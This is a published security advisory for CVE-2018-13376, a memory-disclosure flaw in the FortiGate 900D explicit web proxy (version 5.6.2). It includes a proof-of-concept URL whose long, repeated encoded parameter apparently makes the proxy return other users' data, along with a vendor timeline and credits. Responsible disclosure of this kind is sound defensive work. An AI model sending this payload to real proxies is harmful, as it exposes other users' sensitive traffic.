usd-2018-0031 | Fortigate 900D – The FortiGate explicit web proxy/ V. 5.6.2 Build 1486 (GA)


Advisory ID: usd-2018-0031
CVE number: CVE-2018-13376
Affected Product: Fortigate 900D
Affected Version: V. 5.6.2 Build 1486 (GA)
Vulnerability Type: Sensitive Data disclosure
Security Risk: High
Vendor URL: http://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-WAN-opt-54/web_proxy.htm
Vendor Status:: Fixed

Description

When an unauthenticated specific request is sent to the Web proxy page, the server returns random data. This data contains content from other users of the Web proxy. GET parameters and various other sensitive data can be spied out.

Proof of Concept

The device is being used as “Explicit Proxy”. The following features are activated: AV, Web, App, IPS, SSL Inspection. The following prepared URL discloses data of

https:://store.example.com/…
http://10.100.136.21:8080/?user=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00

Fix

The request presumably triggers an overflow which returns sensitive data from the memory.
Therefore the user input should always be filtered. Moreover it also should be checked for buffer overflow.

Timeline

  • 2018-10-12 First contacted vendor.
  • 2018-11-22 Fortinet released PSIRT Advisory FG-IR-18-325
  • 2018-12-07 First Published

Credits

These security vulnerabilities were found by Christoph Cierpka and Lars Neumann of usd AG.